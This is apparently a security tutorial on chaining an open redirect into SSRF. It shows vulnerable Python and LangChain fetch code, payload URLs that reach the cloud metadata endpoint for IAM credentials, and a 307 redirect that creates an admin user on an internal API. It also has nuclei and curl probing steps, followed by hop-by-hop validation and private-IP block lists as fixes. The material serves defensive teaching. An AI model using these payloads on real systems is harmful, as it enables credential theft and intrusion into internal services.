Open Redirect to SSRF Chain

import requests
 
# VULNERABLE — requests follows redirects by default
# Attacker payload: trusted domain with open redirect to IMDS
attacker_url = "https://trusted-allowed.com/redirect?next=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
 
# Server-side code with SSRF allowlist — checks initial URL only
def fetch_document(url: str) -> str:
    from urllib.parse import urlparse
    parsed = urlparse(url)
    if parsed.hostname not in SSRF_ALLOWLIST:
        raise ValueError("Domain not in allowlist")
    # Allowlist check passes (trusted-allowed.com is allowed)
    response = requests.get(url, timeout=5)  # Follows redirect to 169.254.169.254
    return response.text  # Returns IAM credentials

# LangChain vulnerable pattern (pre-fix)
from langchain.document_loaders import WebBaseLoader
 
# Attacker's payload URL contains trusted domain + open redirect
loader = WebBaseLoader("https://trusted-partner.com/redirect?next=http://169.254.169.254/latest/meta-data/iam/security-credentials/")
docs = loader.load()  # Follows redirect to IMDS — IAM credentials in docs[0].page_content

# Attacker controls trusted-allowed.com — serves this response:
HTTP/1.1 307 Temporary Redirect
Location: http://internal-api.company.local/admin/create-user
 
# Server's POST request is relayed with body intact:
POST /admin/create-user HTTP/1.1
Host: internal-api.company.local
Content-Type: application/json
{"username": "attacker", "role": "admin"}

# Step 1: Map SSRF allowlist
# Submit direct SSRF payloads to identify what domains are allowed:
nuclei -u https://target.com/api/fetch?url=https://canary.oast.fun \
  -t ssrf/ --interactsh-url https://canary.oast.fun
 
# Step 2: Test allowlisted domains for open redirect
# For each domain in allowlist:
nuclei -u "https://allowlisted-domain.com" -t fuzzing/redirect-params.yaml
 
# Step 3: Chain the redirect
# If allowlisted-domain.com/redirect?next= is confirmed:
curl -v "https://target.com/api/fetch?url=https://allowlisted-domain.com/redirect?next=https://second-canary.oast.fun"
# Monitor second-canary for callback — confirms server follows the redirect chain

import ipaddress
import requests
from urllib.parse import urlparse
 
# Private/reserved IP ranges that must not be reached
BLOCKED_RANGES = [
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("169.254.0.0/16"),   # IMDS
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("::1/128"),
    ipaddress.ip_network("fc00::/7"),
]
 
def is_private_ip(hostname: str) -> bool:
    try:
        addr = ipaddress.ip_address(hostname)
        return any(addr in net for net in BLOCKED_RANGES)
    except ValueError:
        # Hostname, not IP — resolve and check
        import socket
        resolved = socket.gethostbyname(hostname)
        return is_private_ip(resolved)
 
def safe_fetch(url: str) -> requests.Response:
    """Fetch URL with SSRF protection — validates each redirect hop."""
    session = requests.Session()
 
    # Disable automatic redirect following
    session.max_redirects = 0
 
    current_url = url
    for hop in range(10):  # Max 10 redirect hops
        parsed = urlparse(current_url)
        # Validate hostname at each hop
        if is_private_ip(parsed.hostname or ""):
            raise ValueError(f"SSRF blocked: redirect to private IP at hop {hop}")
        if parsed.hostname not in SSRF_ALLOWLIST and hop == 0:
            raise ValueError("Domain not in SSRF allowlist")
 
        resp = session.get(current_url, allow_redirects=False, timeout=5)
 
        if resp.status_code in (301, 302, 303, 307, 308):
            next_url = resp.headers.get("Location", "")
            if not next_url:
                break
            current_url = next_url  # Validate on next iteration
        else:
            return resp  # Final response
 
    raise ValueError("Too many redirects")

// Node.js — manual redirect following with validation
const { URL } = require("url");
const https = require("https");
const dns = require("dns").promises;
 
const PRIVATE_RANGES = [
  /^10\./,
  /^172\.(1[6-9]|2\d|3[01])\./,
  /^192\.168\./,
  /^169\.254\./,  // IMDS
  /^127\./,
  /^::1$/,
];
 
async function isPrivate(hostname) {
  try {
    const { address } = await dns.lookup(hostname);
    return PRIVATE_RANGES.some((re) => re.test(address));
  } catch {
    return true;  // DNS failure — treat as private
  }
}
 
async function safeFetch(url, hops = 0) {
  if (hops > 10) throw new Error("Too many redirects");
  const parsed = new URL(url);
  if (await isPrivate(parsed.hostname)) {
    throw new Error(`SSRF blocked: ${parsed.hostname} is private`);
  }
  const res = await fetch(url, { redirect: "manual" });
  if (res.status >= 300 && res.status < 400) {
    const location = res.headers.get("location");
    return safeFetch(location, hops + 1);  // Validate next hop
  }
  return res;
}

# Simplest fix — disable redirects and reject any response that redirects
import requests
 
def fetch_no_redirect(url: str) -> str:
    resp = requests.get(url, allow_redirects=False, timeout=5)
    if resp.is_redirect:
        raise ValueError("Redirects not permitted for this operation")
    return resp.text